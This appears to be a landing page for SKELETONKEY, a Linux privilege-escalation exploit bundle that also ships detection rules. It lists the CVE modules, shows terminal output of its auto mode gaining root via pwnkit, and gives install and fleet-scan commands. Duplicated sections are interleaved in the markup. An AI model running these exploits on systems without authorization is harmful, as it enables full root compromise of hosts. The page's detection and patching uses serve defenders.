<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
|
||||
↓ Latest release
|
||||
</a>
|
||||
<a class="btn" href="#explain">See <code>--explain</code> in action</a>
|
||||
<a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
|
||||
<svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
|
||||
Source on GitHub
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── TRUST STRIP ──────────────── -->
|
||||
<section class="trust-strip">
|
||||
<div class="container">
|
||||
<h2>Why this exists</h2>
|
||||
<p class="lead">
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||
</ul>
|
||||
<p class="lead" style="margin-top:1rem">
|
||||
SKELETONKEY is one binary, actively maintained, with detection
|
||||
rules for every CVE it bundles — same project for red and blue
|
||||
teams.
|
||||
</p>
|
||||
<div class="trust-row">
|
||||
<span class="trust-label">Grounded in authoritative sources</span>
|
||||
<ul class="trust-items">
|
||||
<li>CISA KEV catalog</li>
|
||||
<li>NVD CVE API</li>
|
||||
<li>MITRE ATT&CK</li>
|
||||
<li>kernel.org stable tree</li>
|
||||
<li>Debian Security Tracker</li>
|
||||
<li>NIST CWE</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
|
||||
<section id="explain" class="section section-feature reveal">
|
||||
<div class="container">
|
||||
<h2>Corpus at a glance</h2>
|
||||
|
||||
<div class="stats">
|
||||
<div class="stat">
|
||||
<span class="stat-num">28</span>
|
||||
<span class="stat-label">verified modules</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num green">14</span>
|
||||
<span class="stat-label">🟢 land root by default</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num yellow">14</span>
|
||||
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num">10y</span>
|
||||
<span class="stat-label">2016 → 2026 coverage</span>
|
||||
</div>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">flagship feature</span>
|
||||
<h2>One command. Complete briefing.</h2>
|
||||
<p class="lead">
|
||||
<code>skeletonkey --explain <module></code> renders the page every
|
||||
team needs: CVE / CWE / MITRE ATT&CK / CISA KEV status, host
|
||||
fingerprint, live detect() trace with verdict, OPSEC footprint, and
|
||||
the detection-rule coverage matrix. Triage tickets and SOC handoffs
|
||||
in one paste.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||
<div class="terminal-shell">
|
||||
<div class="terminal-bar">
|
||||
<span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
|
||||
<span class="install-title">skk-host ~ $</span>
|
||||
</div>
|
||||
<pre class="terminal-body" id="explain-output"></pre>
|
||||
</div>
|
||||
|
||||
<div class="explain-annotations">
|
||||
<div class="annotation">
|
||||
<span class="anno-num">1</span>
|
||||
<div>
|
||||
<strong>Triage metadata in the header</strong>
|
||||
<p>CWE class, MITRE ATT&CK technique, CISA KEV status with
|
||||
date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
|
||||
which pulls fresh from federal data sources.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">2</span>
|
||||
<div>
|
||||
<strong>Live host fingerprint</strong>
|
||||
<p>Cached once at startup by <code>core/host.c</code>. Every
|
||||
module sees the same kernel / arch / distro / userns / apparmor
|
||||
/ selinux / lockdown picture.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">3</span>
|
||||
<div>
|
||||
<strong>Real detect() trace</strong>
|
||||
<p>The verbose stderr of the module's own probe — each gate
|
||||
fires, each kernel_range entry checked, each verdict justified.
|
||||
No more black-box "VULNERABLE" outputs.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">4</span>
|
||||
<div>
|
||||
<strong>OPSEC footprint</strong>
|
||||
<p>Per-exploit description of what the SOC would see if this
|
||||
fired: file artifacts, dmesg signatures, syscall observables,
|
||||
network activity, cleanup behavior.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── BENTO FEATURES ──────────────── -->
|
||||
<section class="section section-bento reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">capabilities</span>
|
||||
<h2>Built for every side of the desk</h2>
|
||||
</div>
|
||||
|
||||
<div class="bento">
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">⚡</div>
|
||||
<h3>Auto-pick the safest exploit</h3>
|
||||
<p>
|
||||
<code>--auto</code> ranks vulnerable modules by stability
|
||||
(structural escapes > page-cache writes > userspace races
|
||||
> kernel races) and runs the safest one. Never crashes a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<pre class="bento-code">$ skeletonkey --auto --i-know
|
||||
[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
|
||||
[*] launching --exploit pwnkit...
|
||||
# id
|
||||
uid=0(root) gid=0(root)</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
</p>
|
||||
<div class="rule-cov">
|
||||
<div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
<div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
|
||||
<div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
|
||||
<div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-kev">
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
12 of 34 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🧬</div>
|
||||
<h3>OPSEC notes per exploit</h3>
|
||||
<p>
|
||||
Each module ships a runtime-footprint paragraph: files, dmesg,
|
||||
syscall observables, network, persistence. The inverse of the
|
||||
detection rules — what an attacker would leave behind on
|
||||
<em>your</em> host.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">🎯</div>
|
||||
<h3>One host fingerprint, every module</h3>
|
||||
<p>
|
||||
<code>core/host.c</code> probes kernel / arch / distro / userns /
|
||||
apparmor / selinux / lockdown / sudo version / polkit version
|
||||
<em>once</em> at startup. Every <code>detect()</code> reads the
|
||||
same cached snapshot, so verdicts stay coherent across the
|
||||
corpus.
|
||||
</p>
|
||||
<pre class="bento-code">struct skeletonkey_host {
|
||||
struct kernel_version kernel;
|
||||
char arch[32], distro_id[64];
|
||||
bool unprivileged_userns_allowed;
|
||||
bool apparmor_restrict_userns;
|
||||
bool kpti_enabled, selinux_enforcing;
|
||||
char meltdown_mitigation[64];
|
||||
char sudo_version[64], polkit_version[64];
|
||||
...
|
||||
};</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">📡</div>
|
||||
<h3>JSON for pipelines</h3>
|
||||
<p>
|
||||
<code>--scan --json</code> emits a stable schema (see
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
|
||||
with triage metadata, opsec notes, and rule coverage embedded.
|
||||
Ready for Splunk / Elastic / Sentinel ingest.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🔒</div>
|
||||
<h3>No SaaS. No telemetry.</h3>
|
||||
<p>
|
||||
One static binary. No phone-home, no analytics, no cloud
|
||||
accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
|
||||
probe, exits. JSON or plain text — your pipeline owns the data.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>22 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>28 of 34 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── MODULE CORPUS ──────────────── -->
|
||||
<section id="corpus" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>34 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
<span class="corpus-dot green"></span>
|
||||
Lands root on a vulnerable host
|
||||
<span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green">dirty_pipe</span>
|
||||
<span class="pill green">dirty_cow</span>
|
||||
<span class="pill green">pwnkit</span>
|
||||
<span class="pill green">overlayfs</span>
|
||||
<span class="pill green">overlayfs_setuid</span>
|
||||
<span class="pill green kev">★ dirty_pipe</span>
|
||||
<span class="pill green kev">★ dirty_cow</span>
|
||||
<span class="pill green kev">★ pwnkit</span>
|
||||
<span class="pill green kev">★ overlayfs</span>
|
||||
<span class="pill green kev">★ overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green">ptrace_traceme</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||
<h3 class="corpus-h" data-color="yellow">
|
||||
<span class="corpus-dot yellow"></span>
|
||||
Fires kernel primitive · opt-in <code>--full-chain</code>
|
||||
<span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill yellow">nf_tables</span>
|
||||
<span class="pill yellow kev">★ nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow">netfilter_xtcompat</span>
|
||||
<span class="pill yellow kev">★ netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow">fuse_legacy</span>
|
||||
<span class="pill yellow kev">★ fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow">sudo_samedit</span>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
Full inventory with kernel ranges, mitigations, and detection
|
||||
coverage:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── AUDIENCE ──────────────── -->
|
||||
<section class="section section-audience reveal">
|
||||
<div class="container">
|
||||
<h2>Who it's for</h2>
|
||||
<div class="cards">
|
||||
<div class="card">
|
||||
<h3>🔴 Red team / pentesters</h3>
|
||||
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">who it's for</span>
|
||||
<h2>Same project. Both sides of the engagement.</h2>
|
||||
</div>
|
||||
|
||||
<div class="audience-grid">
|
||||
<div class="audience-card audience-red">
|
||||
<div class="audience-icon">🔴</div>
|
||||
<h3>Red team / pentesters</h3>
|
||||
<p>
|
||||
<code>--auto</code> picks the safest exploit and runs it. Honest
|
||||
scope reporting — never claims root it didn't actually get.
|
||||
Per-exploit OPSEC notes tell you what telemetry you'll leave.
|
||||
No more curating stale PoC repos.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🔵 Blue team / SOC</h3>
|
||||
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||
<div class="audience-card audience-blue">
|
||||
<div class="audience-icon">🔵</div>
|
||||
<h3>Blue team / SOC</h3>
|
||||
<p>
|
||||
One command ships SIEM coverage for the entire corpus.
|
||||
<code>--explain</code> renders a triage briefing per CVE with
|
||||
CWE / ATT&CK / KEV / OPSEC — paste into the ticket.
|
||||
KEV-prioritized so you fix what attackers are already using.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🛠 Sysadmins</h3>
|
||||
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||
<div class="audience-card audience-gray">
|
||||
<div class="audience-icon">🛠</div>
|
||||
<h3>Sysadmins / IT</h3>
|
||||
<p>
|
||||
<code>--scan</code> works without sudo. JSON output for CI
|
||||
gates. Fleet-scan helper bundled. Compatible with everything
|
||||
back to glibc 2.17 via the static-musl binary. No SaaS,
|
||||
no analytics, no cloud accounts.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🎓 CTF / training</h3>
|
||||
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||
<div class="audience-card audience-purple">
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
34 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
|
||||
<section class="section section-callout reveal">
|
||||
<div class="container">
|
||||
<h2>What it looks like</h2>
|
||||
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||
|
||||
<pre class="code"><span class="prompt">$</span> id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||
|
||||
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||
|
||||
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
<span class="hl-green">#</span> id
|
||||
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||
|
||||
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||
Safety ranking goes <strong>structural escapes</strong> →
|
||||
<strong>page-cache writes</strong> →
|
||||
<strong>userspace cred-races</strong> →
|
||||
<strong>kernel primitives</strong> →
|
||||
<strong>kernel races</strong>. The goal is to never crash a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<div class="callout">
|
||||
<div class="callout-mark">✓</div>
|
||||
<div>
|
||||
<h3>The verified-vs-claimed bar</h3>
|
||||
<p>
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. <strong>SKELETONKEY refuses to ship
|
||||
fabricated offsets.</strong> The shared <code>--full-chain</code>
|
||||
finisher returns <code>EXPLOIT_OK</code> only when a setuid
|
||||
bash sentinel file <em>actually appears</em>. Modules with a
|
||||
primitive but no portable cred-overwrite chain default to
|
||||
firing the primitive + grooming the slab + recording a witness,
|
||||
then return <code>EXPLOIT_FAIL</code> with diagnostic.
|
||||
Operators populate the offset table once per kernel via
|
||||
<code>--dump-offsets</code> and upstream the entry via PR.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── QUICKSTART ──────────────── -->
|
||||
<section id="quickstart" class="section reveal">
|
||||
<div class="container">
|
||||
<h2>The verified-vs-claimed bar</h2>
|
||||
<p class="lead">
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets.
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</section>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">quickstart</span>
|
||||
<h2>Five commands.</h2>
|
||||
</div>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Quickstart commands</h2>
|
||||
<div class="tabs" role="tablist">
|
||||
<button class="tab active" data-tab="install" role="tab">install</button>
|
||||
<button class="tab" data-tab="scan" role="tab">scan</button>
|
||||
<button class="tab" data-tab="explain" role="tab">explain</button>
|
||||
<button class="tab" data-tab="auto" role="tab">auto</button>
|
||||
<button class="tab" data-tab="detect" role="tab">detect-rules</button>
|
||||
</div>
|
||||
|
||||
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||
<div class="tab-panel active" data-tab="install">
|
||||
<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||
<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="scan">
|
||||
<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
|
||||
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||
<span class="cmt"># or machine-readable for a SIEM</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="explain">
|
||||
<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
|
||||
<span class="prompt">$</span> skeletonkey --explain nf_tables
|
||||
<span class="cmt"># shows CVE/CWE/ATT&CK/KEV header, host fingerprint, live trace,</span>
|
||||
<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="auto">
|
||||
<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="cmt"># --dry-run for "what would it do?" without launching</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="detect">
|
||||
<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
<span class="prompt">$</span> sudo augenrules --load
|
||||
|
||||
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||
<span class="cmt"># or in YAML for falco / sigma / yara</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=falco > /etc/falco/skeletonkey_rules.yaml</pre>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
|
||||
<section class="section section-timeline reveal">
|
||||
<div class="container">
|
||||
<h2>Status</h2>
|
||||
<p class="lead">
|
||||
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||
are ported from public PoCs but not yet VM-verified.
|
||||
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||
is the next roadmap item; until then, the corpus is best
|
||||
understood as "compiles + detects + structurally correct +
|
||||
honest on failure."
|
||||
</p>
|
||||
<p style="margin-top:1rem">
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">where we are</span>
|
||||
<h2>Recently shipped · in flight · next.</h2>
|
||||
</div>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 34 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-active">
|
||||
<div class="tl-tag">in flight</div>
|
||||
<ul>
|
||||
<li>9 deferred TOO_TIGHT kernel-range drift findings</li>
|
||||
<li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
|
||||
<li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-next">
|
||||
<div class="tl-tag">next</div>
|
||||
<ul>
|
||||
<li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
|
||||
<li>Mass-fleet scan aggregator → heat-map dashboard</li>
|
||||
<li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
|
||||
<li>CWE / ATT&CK filter for <code>--scan --json</code></li>
|
||||
<li>CI hardening: clang-tidy, scan-build, drift-check job</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="tl-foot">
|
||||
Full roadmap and contribution guide:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer>
|
||||
<div class="container">
|
||||
<!-- ──────────────── FOOTER ──────────────── -->
|
||||
<footer class="footer">
|
||||
<div class="container footer-inner">
|
||||
<div class="footer-col">
|
||||
<div class="footer-brand">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</div>
|
||||
<p class="footer-tag">
|
||||
Curated Linux LPE corpus with SOC-ready detection rules. One
|
||||
binary, no SaaS, no telemetry. MIT licensed.
|
||||
</p>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Project</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
|
||||
